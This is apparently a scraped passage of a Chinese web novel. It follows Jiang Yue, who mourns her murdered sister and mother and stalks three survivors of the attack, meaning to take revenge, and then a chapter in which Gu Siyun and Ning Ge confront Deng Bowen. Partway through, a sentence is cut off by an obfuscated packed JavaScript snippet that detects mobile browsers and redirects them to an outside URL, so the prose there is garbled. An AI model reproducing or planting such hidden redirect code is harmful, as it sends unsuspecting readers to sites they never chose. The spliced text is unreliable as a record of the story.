为什么呢?到底是为什么?江月一边跑,一边忍不住在心里呐喊,可回应江月的,只有呼啸的风声和冰冷的雨声。 雨更大了,模糊了前方的路。 江月停在一棵光秃秃的树下,大口喘着气,胸口剧烈地起伏着。 冰冷的雨水顺着发丝滴落在手背上,江月看着自己苍白颤抖的手,突然觉得无比无力。 她抹了把脸上的雨水,不知道是雨还是泪。 也许这场寒潮过后,阳光会重新出现,可江月心里的那些疑问,什么时候才能找到答案呢? 江月低着头,弓着背,像一只在风雨中挣扎的孤鸟,只能凭着记忆里的方向艰难前行。 她心里只有一个念头:再坚持一下,就能到了,到了那里,就安心了。 不知道走了多久,当那片熟悉的墓园出现在雨幕中的时候,江月几乎是脱力般地松开了伞。 伞被风吹得滚出去老远,江月却没力气去捡,只是扶着膝盖,蹲在墓碑前大口大口地喘气。 雨势渐渐小了些,变成了淅淅沥沥的小雨,落在身上没那么疼了,可那股深入骨髓的冷还在蔓延。 江月缓了好一会儿,才慢慢直起身,目光落在眼前的墓碑上。 母亲和姐姐的照片嵌在石碑上,被细密的雨滴打湿,一层薄薄的水膜覆盖在上面,像是她们的脸颊上挂着泪。 江月的心猛地一揪,喉咙里泛起酸涩的疼。她小心翼翼地擦拭着照片上的水珠,指腹轻轻摩挲着母亲温柔的笑容和姐姐明亮的眼睛,可刚擦干净一块,新的雨水又源源不断地落下来,顺着照片的边缘往下淌,像是永远也擦不完的泪。 江月越擦越急,动作也变得有些慌乱,指尖因为用力而泛白,甚至不小心蹭到了石碑的棱角,划出一道细小的伤口,可江月丝毫感觉不到疼。 那些擦不掉的雨水,就像江月心里积压的伤痛,无论江月怎么努力,都挥之不去,反而越来越汹涌。 看着照片上母亲和姐姐依旧温柔的神情,那些盘旋在脑海里的疑问又一次冒了出来:妈,姐,为什么她们可以好好活着,而你们却要离开我?为什么生命会那么脆弱,说没就没了? 没有人回答江月,只有淅淅沥沥的小雨还在持续落下,诺大的墓园空荡荡的,只有江月一个人。 委屈、迷茫、思念、无助……所有的情绪在这一刻彻底爆发,江月再也忍不住,蹲在墓碑旁,抱着膝盖放声大哭起来。 哭声被雨声掩盖了一部分,却依旧带着撕心裂肺的疼,从喉咙里挤出来,震得胸口发闷。 江月哭了很久,直到眼泪好像都流干了,只剩下断断续续的抽泣。 她慢慢抬起头静静地看着母亲和姐姐的照片,风停了,雨也小得几乎看不见了,墓园里一片死寂,江月孤零零地站在那里,像一块没有温度的墓碑,和另外两块墓碑站在一起,像是真正的一家人。 心里的伤痛没有消失,那些疑问也依旧没有答案,可这一刻,江月却感到有些安心——至少,江月还能这样陪着她们。 / 五年前的那天,天是难得的晴好,阳光透过窗户洒在餐桌上,暖融融的。 母亲邹倩系着碎花围裙,把煎得金黄的鸡蛋摆到江月面前,语气温柔:“快吃,别迟到了。” 江月扒着米饭,含糊地应着,抬头时看见母亲眼角的笑纹,像被阳光晒软的棉花,暖得人心发甜。 背上书包出门时,母亲还在小吃店门口忙碌,蒸汽缭绕着她的身影,她挥挥手让江月快些走,声音被清晨的风送过来,带着暖意。 上学的路上,江月掏出手机给在同城上大学的姐姐发短信,指尖在屏幕上飞快敲击:“姐,别忘了答应我的事情!” 她想象着姐姐看到信息时无奈又宠溺的笑容,脚步都轻快了许多,书包上的挂件随着动作轻轻摇晃,像一颗雀跃的心脏。 那天的课过得格外慢,江月频频看向窗外,阳光依旧明媚,连一丝风都没有,可心里却莫名有些发慌,总觉得有什么不好的事情要发生。 中午放学铃一响,江月几乎是第一个冲出教室,直奔校门口——江月以为能看到姐姐笑着朝江月挥手,可等了很久,校门口来来往往的人都走得差不多了,也没见到她的身影。 手机突然震动起来,不是姐姐的短信,而是陌生号码的来电。 江月接起电话,听筒里传来的是警察沉稳却带着歉意的声音,那几句话像一把把冰冷的尖刀,狠狠扎进江月的心脏:“请问是洛南的家属吗?她在XX路附近遭遇了袭击,现在……已经没有生命体征了。” “没有生命体征”这六个字,江月花了很久才消化明白,大脑瞬间一片空白,手机“啪嗒”一声掉在地上,屏幕摔得粉碎,就像江月那一刻的世界。 阳光依旧刺眼,可江月却觉得浑身冰冷,手脚发软,顺着墙壁滑坐在地上,浑身控制不住地发抖。 周围的声音都变得模糊,只有那几句话在耳边反复回响,每一次都带着刺骨的疼。 后来江月才知道,姐姐那天提前下了课,特意绕路去买了江月爱吃的草莓蛋糕,却在过来找江月的路上,遇到了那个丧心病狂的无差别杀人犯。 据说那天将近中午的时候,突然刮起一阵大风,街上的人不算多,杀人犯提着刀,眼神凶狠得像野兽,毫无征兆地朝着路边的女性冲过去,姐姐也成了他的目标。 江月不敢想象当时的场景,却总能在脑海里拼凑出那些可怕的碎片:姐姐一定很害怕,她那么胆小,却还是下意识地想躲开,手里的草莓蛋糕掉在地上,奶油和草莓混着泥土,像一滩绝望的泪。 杀人犯的刀挥过来时,她或许尖叫过,或许奔跑过,可最终还是没能逃过那场劫难。 其余的人有的反抗,有的逃跑,幸运地躲过了致命伤,只有姐姐,成了唯一的受害者,倒在冰冷的马路上,再也没能站起来。 舆论很快就炸开了锅,所有人都在谴责那个杀人犯的残忍,要求严惩。 案件审理得很快,证据确凿,他没有任何辩解的余地,很快就被宣判了死刑,并且立刻执行。 听到这个消息时,江月正坐在母亲的小吃店里,店里空荡荡的,母亲趴在桌子上,肩膀一抽一抽的,泪水打湿了桌布。 江月没有哭,她死死攥着拳头,指甲深深嵌进掌心,直到渗出血来也不觉得疼。 江月甚至没有记住那个杀人犯长什么样子,只在法庭上远远看了一眼,只觉得他面目可憎,像一团肮脏的淤泥。 他死了,可江月的姐姐再也回不来了,母亲的笑容再也没有以前那么暖了,江月的家,从那天起,就碎了。 就算该死的杀人犯死一千次、一万次,也换不回姐姐的生命,也抹不掉江月和母亲心里的伤疤,更解不了江月心头那蚀骨的恨。 阳光渐渐西斜,透过窗户落在江月身上,却暖不了江月冰冷的皮肤。 姐姐走后的日子,家里就连光线像是被抽走了大半,空气都变得沉重压抑。 母亲的身体垮得飞快,曾经在厨房忙碌时挺拔的脊背,渐渐弯成了一道弧度,眼角的笑纹被细密的皱纹取代,脸色是常年褪不去的蜡黄。 她不再打理小吃店,大多数时候都躺在床上,咳嗽声从早到晚断断续续,每一次咳嗽都像是要把肺咳出来,听得江月心里揪紧。 江月放学回家的第一件事,就是给母亲熬药。 药味苦涩,弥漫在小小的屋子里,像化不开的悲伤。 母亲喝药时总是皱着眉,却从不抱怨,只是喝完后会拉着江月的手,她的手瘦得只剩下骨头,皮肤松弛地贴在骨头上,冰凉粗糙。 “小月儿,”她的声音虚弱,却带着不容置疑的认真,“别回头,往前看。妈知道你心里苦,可日子还得过,你要带着我和你姐的份,好好活下去。” 江月低着头,不说话,指尖无意识地摩挲着母亲掌心的纹路。 母亲的目光落在江月脸上,带着洞悉一切的了然:“妈知道你倔,心里憋着恨。可仇恨是毒药,会把你自己也拖垮的。” 江月猛地抬起头,眼眶泛红,语气带着压抑不住的激动:“妈,姐姐死得那么惨,那个凶手就算死了也不解恨!凭什么别人能好好活着,姐姐却要遭这种罪,丢下我和你?” 母亲轻轻叹了口气,伸手擦掉江月眼角的泪,她的指尖冰凉,带着药味:“没有凭什么,这就是命,可你不能被命困住。答应妈,无论发生什么,都要读完大学,找一份安稳的工作,过自己的日子。” 江月看着母亲日渐消瘦的脸庞,看着她眼中的期盼与担忧,心里像被什么东西堵住了,闷得发疼。 江月知道她是为自己好,可那些蚀骨的恨意,怎么可能说放下就放下? 最终,为了不让母亲担心,江月还是点了点头,声音沙哑地说了句:“我答应你。” 后来,母亲的身体越来越差,最后连下床都成了奢望。 她躺在病床上,眼神渐渐浑浊,却还是反复叮嘱江月:“别被仇恨困住,好好活着……” 江月坐在床边,握着她冰冷的手,嘴里应着“好”,心里却早已被仇恨和不甘填满。 姐姐走了,母亲也快要离开江月了,这个世界对江月太残忍,所谓的“老天有眼”,在姐姐和母亲遭遇不幸的时候,分明是闭上了眼睛! 母亲走的那天,天又下起了小雨,和姐姐出事那天一样,带着刺骨的冷。 江月没有哭,只是静静地坐在母亲的床边,看着她安详的脸庞,心里的仇恨却像野草一样疯长。 为什么?为什么死去的是姐姐和母亲?为什么当年其余和姐姐一起被追赶的女人能活下来? 只要她们还在这个世界上活着,就时时刻刻都在提醒江月,姐姐的死有多无辜,江月的失去有多沉重。 天道不行,那就让江月来替天行道。 江月决心要找到她们,那些取代姐姐活下来的人,江月要让她们为姐姐偿命,然后,江月就跟着她们一起下地狱,去找姐姐和母亲,再也不用一个人留在这个冰冷的世界上。 进入大学后,课程比高中少了很多,江月把所有的空闲时间都用在了寻找那三个人身上。 图书馆的旧报纸堆、网上的新闻存档、论坛里的相关讨论,江月一点点翻找,不放过任何一丝线索。 江月的眼神变得越来越锐利,从前的柔软和天真被冰冷的偏执取代,脸上很少有笑容,总是紧绷着下颌,眉头微蹙,像是在随时防备着什么。 室友们说江月孤僻,不合群,可江月不在乎,她又不是来上大学的获取一个美好未来的,自从姐姐和母亲死后,她就没有未来可言了。 江月每天背着包穿梭在城市的各个角落,根据找到的零碎信息去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119744|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打听、去核实。 有时候为了等一个可能的线索,江月能在寒风里站一下午,手脚冻得麻木也不觉得冷;有时候因为找错了人,被人当成疯子驱赶,江月也只是默默离开,转身继续寻找下一个目标。 当年杀人犯追赶着姐姐时,周围还有另外三个女人,她们只顾着自己逃跑、尖叫、躲藏,完全没考虑过向姐姐伸出援助之手。 如果当时稍微帮助一下姐姐呢?哪怕是从地上捡起石块,吓唬那个杀千刀的杀人犯呢?姐姐说不定就有机会活下来! 江月的笔记本上记满了密密麻麻的字迹,都是关于那三个人的信息:年龄、大致住址、当年的目击者描述……每一个字都像是用仇恨写就,带着冰冷的重量。 江月看着那些名字,手指用力地戳在纸上,指甲发白,心里只有一个念头:很快,很快就能找到你们了。 母亲让江月不带仇恨地活下去,可她不知道,没有了姐姐和她,没有了仇恨作为支撑,江月早就活不下去了。 大学文凭对江月来说,只是履行对母亲的承诺,只是让江月有更多时间和精力去完成自己的心愿。 这个世界欠江月的,欠姐姐的,欠母亲的,江月会一点点讨回来。 网络像一张无边无际的网,把所有隐秘的信息都打捞上来,摊在江月面前。 那三个人分别叫宁歌、林影、余夏,找到现实生活中的她们比江月想象中容易太多——没有费尽心机的追踪,没有辗转反侧的等待,只是在论坛的旧帖里翻找,在社交平台的动态中比对,那些散落的信息就自动拼凑成了完整的线索。 宁歌和余夏都留在了这座城市,她们的生活轨迹清晰得像地图上的标线。 江月知道宁歌在市中心的高级会所做客户经理,她每天穿着精致的套装,踩着十厘米的高跟鞋,周旋在各色人之间;也知道她住在老城区的老旧居民楼里,每天下班要穿过狭窄潮湿的小巷,只为省下房租替母亲还高利贷。 江月曾在她下班的路上蹲守,看着她卸下妆容后的脸庞带着疲惫,却依旧挺直脊背,手里攥着刚取的现金,脚步匆匆,眼底藏着一丝不易察觉的倔强。 有一次,江月故意撞了她一下,她皱着眉回头,眼神里带着警惕和一丝不耐烦,可当江月道歉时,她却只是摆了摆手,语气平淡:“没事。” 那一刻,江月看着拎着高跟鞋,脚上踏着一双廉价的拖鞋,脚后跟因为高跟鞋的摩擦而破皮流血的宁歌时,心里那股根深蒂固的恨意,却越加强烈,你怎么这样活着? 你知道你有多幸运吗?你能活下来,我姐姐却不能,而你竟然像是黑暗角落里的蟑螂一样,拼命躲藏,到处寻找生机。 余夏在一家房屋中介公司工作,江月以租房的名义接近她。 她的脸色苍白得近乎透明,说话时气息很轻,却总是带着温柔的笑意。 那时候江月还不知道知道她得了胃癌,生命快要进入倒计时,可她介绍租房时的样子,专注又认真,帮江月思考房屋布局的样子能看出来她对这份工作的热爱。 有一次在看房途中余夏接到一个电话,她近乎失态地对着电话那头大喊:“不是说我生日的时候一定会跟我一起吃饭吗?妈你为什么总是说话不算话?姐姐根本没生病,她就是装的!你为什么总是相信她,不相信我?” 但很快她便挂了电话,跟江月道歉,说自己不该在工作时间打私人电话。 她的笑容很淡,却带着一股顽强的生命力。 看到自己想要报复的人,活得这么凄惨,江月觉得自己本该高兴才对,你活下来有什么用呢?这个世界根本没有一个人会爱你! 可昨天江月陪她去寺庙时,看到她因为化疗而稀疏的头发,看着她眼底对生命的眷恋,心脏像是被什么东西狠狠攥住,疼得喘不过气。 林影的消息来得晚一些,她当年在国外留学,事发时她正好放假回来探亲,事发后她又去国外上学了,江月以为要去国外才能找到她,没想到某次偶然刷到某个博主的生日记录vlog时,竟看到了她的身影。 视频里的她穿着白色的厨师服,戴着高高的厨师帽,正在替寿星制作甜品,眼神专注又明亮,笑容干净得像个孩子。 江月在那个视频下面留言说也想找生日宴会的厨师,请对方帮忙介绍,对方很快给出了张怀野的账号链接。 江月看着张怀野的账号一直在记录自己和林影的日常生活vlog,成为了大网红,江月一直没找到机会接近对方。 直到林影开了属于自己的小店,江月偶尔去过几次,坐在店里的角落,看着她和客人谈笑风生,看着她不经意间流露出的才华和灵气。 有一次林影发现江月点了一份套餐却没有吃完,特意来问是不是菜品哪里做得不好,江月说只是自己胃不好,林影给她免了单,还说下次胃口好的时候再来试试。 江月像一个潜伏在暗处的猎手,一点点靠近目标,却在看清她们真实模样的那一刻,彻底迷失了方向。 宁歌贪慕虚荣,替有钱人办那些见不得光的事,可她也在为母亲的债务奔波,在深夜的小巷里独自舔舐伤口;林影天真又专业,对厨艺有着近乎偏执的热爱,却被一个烂透了的男人攀附吸血;余夏身患重病,生命早已所剩无几,却依旧贪恋活着的每一分每一秒,对这个世界充满了温柔。 她们都不是完美的人,都有着自己的挣扎和不堪,可她们也都在努力地活着,像野草一样,在风雨中顽强地生长。 江月怀疑自己心里那把仇恨的刀,还能毫不犹豫地刺下去吗? 江月曾以为,杀掉她们,就是替姐姐报仇,就是替天行道,可当江月看到宁歌在小巷里疲惫却倔强的背影,看到林影专注制作菜品时的笑容,看到余夏说“想活下去”时眼里的光,她突然犹豫了。 更让江月恐慌的是,她发现心里那股蚀骨的恨意,也不像从前那样汹涌,反而变得越来越淡,淡到有时候江月会突然恍惚,自己这么多年的坚持,到底是为了什么? 江月坐在墓园的长椅上,寒风刮过脸颊,带着刺骨的冷。 口袋里的水果刀依旧冰凉,可江月却再也没有当初的决绝。母亲的遗愿在耳边回响:“别被仇恨困住,好好活着。” 江月做到了上完大学,也找到了当初对姐姐见死不救的幸存者,可江月却不知道接下来该怎么办。 时间真的这么可怕吗?它能磨平刻骨的仇恨,能模糊深刻的记忆,能让江月从一个满心都是复仇的人,变成一个犹豫不决的懦夫? 江月不知道答案,她只知道,曾经许诺过姐姐的事情还没做到,她却再也下不了手。 那些曾经支撑着江月活下去的恨意,如今变成了缠绕着江月的迷雾,让江月看不清前方的路。 她看着墓碑上母亲和姐姐的照片,她们的笑容依旧温柔,可江月却不知道,自己到底该怎么做,才能不辜负她们,也不辜负自己。 13. 第四章(1) 铅灰色的云层压得极低,细密的雨丝斜斜织着落下,把庭院的青石板路浸得发亮,沾着湿漉漉的落叶,踩上去发出黏腻的声响。 顾思韫撑着一把定制款的黑伞正在无聊地赏雨,伞沿滚落的水珠溅湿了她米白色的真丝裙摆,她眉头拧成一个川字,精致的妆容也掩不住眼底的烦躁。 最近她心情十分不好,前两次找邓博问都扑了个空。 第一次去的时候接待处的工作人员一脸茫然地摇了摇头:“邓博问先生?我们这里没有这位客人,而且据我所知,最近半年也没有姓邓的长期住客。” “是你们的老板!”顾思韫的声音带着几分不耐,指尖无意识地敲打着手机屏幕。 “我们老板不叫这个。”工作人员一脸认真,不像是撒谎的样子。 顾思韫回头看了一眼宁歌,“那个人不会是骗你的吧?” 宁歌想了一下,然后提出一个可能性:“可能只是投资方,不是真的老板。” “那找一下叫邓博问的工作人员,是什么经理之类的!”顾思韫提高了音量,耳尖微微泛红。 工作人员面露难色,语气依旧客气却带着不容置喙的疏离:“小姐,我们这里的客人和工作人员的信息都是保密的,不能随意调取。如果您有确切的信息或者联系方式,我们可以帮您联系,但如果没有,实在抱歉,我们也无能为力。” 顾思韫气得胸口发闷,她哪里有什么联系方式,连见面的地方都是家里的长辈传话给她的。 现在不仅被对方放鸽子,找一个蹩脚的冒牌货来打发她,还被工作人员如此敷衍,她咬了咬下唇,转身就离开了。 第二次则是宁歌在山海疗愈心灵谷的宣传网页上查到邓博问只是挂名了顾问,于是顾思韫再次打扮好宁歌,拉着她“噔噔噔”地走过接待处,径直就想去工作人员所在的办公楼。 “这次我就算掘地三尺也要找到他!”顾思韫信誓旦旦,眼底闪过一丝狠厉,“我顾思韫长这么大,还从没这么狼狈过,第一次来就扑空,第二次如果还不能给他点教训的话,传出去岂不是让人笑掉大牙?” 可两人刚走到办公楼附近,一个穿着打扮十分贵气的中年女人就突然冲了过来,指着她的包大喊:“就是你!偷了我的项链!我刚刚放在厕所隔间的珍珠项链不见了,是不是你偷的?” 顾思韫愣住了,随即气得发笑:“你胡说八道什么?我什么时候偷你项链了?我根本就没去过什么厕所!” 她下意识地抱紧自己的包,包是最新款的限量版,此刻却被人当作藏赃物的工具,这让她感到莫大的屈辱。 “不是你是谁?这里除了你手里拎着包能够藏东西,就没有别人了!”对方不依不饶,伸手就要去抢顾思韫的包,“你把包打开让我看看!要是没有,我就道歉!” “你敢!”顾思韫猛地后退一步,眼神凌厉如刀,“我的东西也是你能动的?你再胡搅蛮缠,我现在就报警,让警察来查清楚,到时候看是谁丢面子!” 说着顾思韫马上拿出手机,作势就要拨号,指尖因为愤怒而微微颤抖。 接待厅的工作人员闻讯赶来,见状连忙拉住这位中年妇人,劝道:“张女士,你先冷静点,是不是误会了?这位小姐看起来不像是会偷东西的人。” 又转头看向顾思韫,满脸堆笑,“小姐,实在对不起,这位顾客可能是太着急了,您别往心里去。” 顾思韫冷笑一声,收起手机:“误会?我看是有人故意找茬!今天这事我不跟你们掰扯清楚,你们还当我好欺负!” 正当顾思韫要报警的时候,突然不知道从哪个角落又跑出来一个工作人员,手里举着一条项链:“张女士,你的项链我帮你找到了!” 那位被叫做张女士的人上前一把抢过项链,仔细辨别了一会儿,才讪讪道:“哦,果然是我的项链呢。” 之后又惺惺作态跟顾思韫道歉:“不好意思哦这位女士,我误会你了,希望你原谅我。” 顾思韫气得要呕血,但又没办法真的跟人家计较,再次转身就走,直接把找邓博问的事情都抛在脑后了。 回到家,顾思韫把自己关在房间里,越想越气,于是拿出手机,拨通了几个朋友的电话,语气带着命令的口吻:“帮我查一个人,邓博问,不管你们用什么办法,三天之内,我要知道他所有的行踪!” 然而,几天过去,反馈回来的消息却让她更加抓狂。 朋友们都说查不到邓博问的详细信息,圈子里的人提起这个名字,也大多是一脸茫然,只有几个消息灵通的,神秘兮兮地跟她说:“思韫,你找的该不会是什么邓家的私生子吧?听说邓家老爷子当年好像有个外室,不过一直没公开,那孩子的名字里好像就带个‘博’字。” “私生子?”顾思韫气得差点把手机摔了。她找的是家里长辈看中的相亲对象,怎么就成了私生子? 可这话她又不能跟别人明说,只能含糊地应付:“别管他是什么身份,总之我跟他结下了梁子,必须找到他!” 挂了电话,她坐在沙发上,胸口剧烈起伏,心里只有一个念头:邓博问你给我等着!此仇不报誓不为人! 可气还没消,家里的长辈就打来了电话,电话那头的声音带着浓浓的不满和指责:“思韫!你最近在搞什么?到处花钱找人,一点正事都不干!我让你去见个人,你倒好,不仅没见到,还惹了一身麻烦,连个男人都搞不定,你说你能干什么?” “我没有!”顾思韫委屈得眼圈发红,却只能硬着头皮辩解,“是他故意躲着我,还让我受了那么大的委屈,我找他怎么了?” “委屈?”长辈的声音更严厉了,“你一个女孩子家,到处张扬找人,像什么样子?现在顾家不比以前了,行事要低调!你倒好,花钱大手大脚不说,还净惹是非!” 电话被猛地挂断,听筒里传来“嘟嘟”的忙音。 顾思韫握着手机,眼泪终于忍不住掉了下来。 她知道长辈说的是实话,顾家确实今非昔比了,以前那些围着她转的人,现在大多避之不及。 就像那个以前她连正眼都懒得瞧的刘家小女儿,上个月月底办生日宴,朋友圈里铺天盖地都在晒着她宴会上豪华的场地、精致的蛋糕,还有一群光鲜亮丽的宾客,可唯独没有邀请她。 她滑动着朋友圈里的照片,看着照片里刘家小女儿笑靥如花的样子,再想想自己最近的遭遇,一股无名火直冲头顶。 她猛地站起来,抓起桌上的水杯、相框,一股脑地砸在地上,玻璃碎裂的声音、瓷器碰撞的声音混杂在一起,家里瞬间一片狼藉。 她蹲在地上,双手抱着膝盖,肩膀微微颤抖,心里又气又委屈,却连个倾诉的人都没有。 不知过了多久,她渐渐平静下来,拿出手机给宁歌发了条信息:“过来。” 半小时后,宁歌老师地坐在顾思韫对面,眼下带着淡淡的青黑,显然最近也没休息好。 她刚跟妈妈搬了家,从以前的老旧小区搬到了城郊的安置房,那里鱼龙混杂,讨债人应该不怎么好找上门。 搬家的时候,她翻出了许多妈妈以前买的各类保健品,大多是全新的,为了还债,她只能挂在网上一折甩卖,看着那些曾经价值不菲的东西被人挑挑拣拣,她心里说不出的滋味。 来找顾思韫之前,宁歌特意拉着妈妈的手,眼神严肃地叮嘱:“妈,这次我帮你还清债之后,你可千万不要别再乱交朋友,乱投资了,也别再碰那些乱七八糟的东西,不要去赚根本不属于你的钱,我们根本没有富贵命,就只有普通老百姓的命!这是我最后一次帮你收拾烂摊子,我已经对你尽了生养之恩,下次再欠债的话,我真的会离家出走,再也不会管你了。” 妈妈坐在简陋的出租屋里,看着斑驳的墙壁,眼神有些浑浊,她点了点头,声音带着几分疲惫:“知道了,小鸽子,妈最近头疼得厉害,以后再也不出门了,就在家好好待着。” 宁歌看着妈妈憔悴的样子,心里五味杂陈,终究还是软了心肠,又叮嘱了几句才离开。 此刻,宁歌看着顾思韫愁眉不展的样子,她知道,这是自己将债务还清的最后机会。 顾思韫眉头皱得很紧,“宁歌,你能不能帮我找到邓博问,帮我报之前的仇,让我撒撒气!不然的话,你也别想拿到剩下的钱。” 宁歌脸上的笑容僵了一下,随即又恢复了平静。 她知道顾思韫的脾气,骄纵又执拗,想要折腾报复别人,一定要做到,她垂下眼帘,掩去眼底的算计,轻声说:“好,我知道了。还是按之前的费用,先打一半定金,事成之后再打一半。” 顾思韫的话语里透着浓浓的失望,“我都给了你那么多钱了,现在我气得要死,你还在这里跟我讨价还价?” 宁歌不好再开口,不过她想着顾家虽然落魄,但好歹瘦死的骆驼比马大,不至于少自己那点钱的,于是斟酌了一下,缓缓开口:“思韫,我倒是有个办法,你看行不行?” / 寒冬的风带着刺骨的凉意,卷着几片枯黄的落叶,在山海疗愈心灵谷的停车场上空打着旋。 天色是沉郁的灰白色,云层厚重得像是压在心头的巨石,连一丝阳光都透不进来。 顾思韫裹着一件黑色的貂皮大衣,双手插在口袋里,指尖却依旧冰凉。 她靠在车身上,精致的眉头拧成一团,眼底满是按捺不住的焦躁,时不时地抬手看一眼腕表。 “都等了三个小时了,他到底还来不来?”顾思韫的声音带着几分沙哑,显然是蹲守得久了,耐心早已耗尽。 她踢了踢脚下的小石子,石子在水泥地上滚出一段距离,发出单调的声响,更添了几分烦闷。 身旁的宁歌穿着一件黑色的冲锋衣,头发简单地束在脑后,脸上没施粉黛,显得比平时干练了许多。 她眼神专注地盯着停车场入口,语气平静地说:“再等等,根据我的线人提供的线索,他今天肯定会来取东西。” 宁歌的目光扫过空荡荡的停车场,零星停着几辆车,大多是低调的面包车,只是窗户都被胶布遮盖得严严实实,与之前车流不息的热闹景象完全不同。 她的线人就是山海疗愈心灵谷接待厅的工作人员,据说已经好几个月没收到工资了,听宁歌说只需要打听到邓博问的行踪,就能拿到一万块,立即就答应了。 顾思韫撇了撇嘴,没再说话,只是心里的火气越来越盛。 她想起前几次的遭遇,想起被人怀疑偷东西的屈辱,想起家里长辈的指责,再想起邓博问这个始作俑者,她的指甲几乎要嵌进掌心。 她暗暗发誓,今天一定要让邓博问付出代价,不然这口气她咽不下去。 就在这时,一辆黑色的奔驰缓缓驶入停车场,车身线条流畅,在阴沉的天色下依旧透着一股不容忽视的贵气,车牌号就是宁歌之前提供的号码。 顾思韫的眼睛瞬间亮了起来,她猛地站直身体,死死盯着那辆车,呼吸都变得急促起来。 “来了!”她低声说了一句,不等宁歌反应,就已经快步朝着那辆车走去。 车子稳稳地停在不远处,车门打开,率先下来的是两个身材高大的黑衣保镖,面无表情地站在车旁,警惕地打量着四周。 紧接着,一个男人从后座走了下来,他身姿挺拔,长着一张国字脸,薄唇紧抿着,透着一股生人勿近的冷漠。 他的头发梳理得一丝不苟,眼神锐利如鹰,扫过停车场时,带着几分居高临下的审视。 顾思韫一眼就认出,这就是家里长辈给出的相亲照片上的人,那个耍了她,还让她一直吃闷亏的人———邓博问。 她心头的怒火瞬间被点燃,快步走到他面前,挡住了他的去路,双手叉腰,仰头瞪着他,声音因为愤怒而微微颤抖:“邓博问!你终于肯出现了!” 邓博问停下脚步,低头看着眼前的女人,眉头微蹙,眼神里满是疑惑,似乎在回忆在哪里见过她。 片刻后,他才慢悠悠地开口,声音低沉而冰冷:“你是谁?” “我是谁?”顾思韫像是听到了天大的笑话,气得笑出了声,眼角却泛起了红,“你找人假扮我去相亲,现在居然问我是谁?邓博问,你是不是觉得我顾思韫好欺负?你到底是什么意思?是不是看不起我?”她的声音越来越大,带着浓浓的委屈和愤怒,胸口剧烈起伏着。 邓博问脸上的疑惑渐渐散去,取而代之的是一抹嘲讽的笑意。 他上下打量了顾思韫一番,眼神里的轻蔑毫不掩饰:“哦,原来是顾家的小女儿。” 他顿了顿,语气更加不屑,“看不起你?算是吧。一个顾家的小女儿,还不值得我放在眼里。” 顾思韫的脸色瞬间变得惨白,她死死咬着下唇,强忍着眼泪不掉下来。 长这么大,她还从没被人如此羞辱过。“你!”她气得说不出话来,手指着邓博问,指尖微微颤抖。 邓博问却像是没看到她的愤怒,继续说道:“不过,要是顾家的大儿子送上门来,或许我还会多看几眼。毕竟,顾家现在能拿出手的,也就只有他了。” 他的话像是一把尖刀,狠狠刺进了顾思韫的心里,让她既愤怒又难堪。 “你太过分了!”顾思韫再也忍不住,伸手就要去推邓博问。 可她的手还没碰到对方,身旁的两个黑衣保镖就立刻上前一步,一左一右地抓住了她的胳膊。 保镖的力气很大,顾思韫挣扎了几下,却怎么也挣脱不开,胳膊被抓得生疼。 “放开我!你们想干什么?”顾思韫又气又急,大声喊道。 就在这时,宁歌快步冲了过来。 她眼神一凛,绕开保镖,毫不犹豫地抬手,朝着邓博问的脸颊狠狠扇了一巴掌。 “啪”的一声脆响,在空旷的停车场里格外清晰。 邓博问被打得偏过头去,脸上瞬间浮现出一个清晰的红印。 他愣住了,显然没料到这个看起来不起眼的女人竟然敢动手打他。 他缓缓转过头,眼神阴鸷得能滴出水来,死死盯着宁歌:“你敢打我?” 宁歌毫不畏惧地迎上他的目光,挺直了脊背,语气冰冷而坚定:“打你怎么了?你这个人太差劲了!不尊重别人,出言不逊,我今天就替你父母好好教训教训你,让你知道什么叫尊重!” 她的声音不大,却字字铿锵,带着一股不容置疑的力量。 顾思韫也愣住了,她没想到宁歌竟然会如此果敢。 邓博问的脸色铁青,胸口剧烈起伏着,显然是被气得不轻。 他猛地抬起手,指着宁歌和顾思韫,对着保镖怒吼道:“把这两个不知天高地厚的女人给我抓起来!” 两个保镖立刻应了一声,松开顾思韫,就要朝着宁歌扑过去。 宁歌眼神一紧,下意识地将顾思韫拉到自己身后,做好了应对的准备。 顾思韫也握紧了拳头,虽然心里有些害怕,但此刻她不想退缩。 就在这剑拔弩张的时刻,山海疗愈心灵谷的大门突然被推开,两个工作人员慌慌张张地跑了出来,一边跑一边大喊:“出事了!里面出事了!邓先生,您快去看看吧!里面有人打起来了,情况很危急!” 邓博问的动作一顿,脸上的怒火瞬间被担忧取代,他犹豫了一下,目光扫过宁歌和顾思韫,他恨不得立刻就让保镖把这两个女人抓起来,但里面的事情显然更紧急。 他咬了咬牙,对着保镖沉声道:“先放过她们,我们进去看看!” 说完,他不再看顾思韫和宁歌,转身快步朝着疗愈谷里面走去,保镖们也立刻跟了上去。 看着他们匆忙离去的背影,顾思韫长长地舒了一口气,紧绷的身体瞬间放松下来,后背已经被冷汗浸湿。 她转头看向宁歌,眼神里满是感激:“宁歌,刚才谢谢你。” 宁歌摇了摇头,脸上的坚定渐渐褪去,取而代之的是一丝疲惫。 她揉了揉刚才扇人的手,轻声说:“没事,我只是看不惯他那副嚣张的样子。”她的手还有些发抖,刚才那一巴掌用了不小的力气。 宁歌刚刚之所以如此冲动,是因为在邓博问的脸上看到了她熟悉且恐惧的表情———一直以来去她家里讨债的人就跟邓博问一模一样,一样的冷漠无情,一样的恃强凌弱。 / 顾思韫和宁歌并肩靠在车身上,刚才与邓博问的对峙耗尽了两人的力气,此刻只剩沉默的尴尬。 顾思韫拢了拢貂皮大衣的领口,指尖划过衣料上绒毛,忽然开口,语气带着几分复杂:“宁歌,我发现你其实比我更适合当有钱人家的大小姐。” 她侧过头看向宁歌,对方虽然穿着简单的冲锋衣,却身姿挺拔,眼神清亮,刚才扇邓博问那一巴掌时的果敢,是她从未有过的。 宁歌脚步一顿,嘴角勾起一抹自嘲的笑。 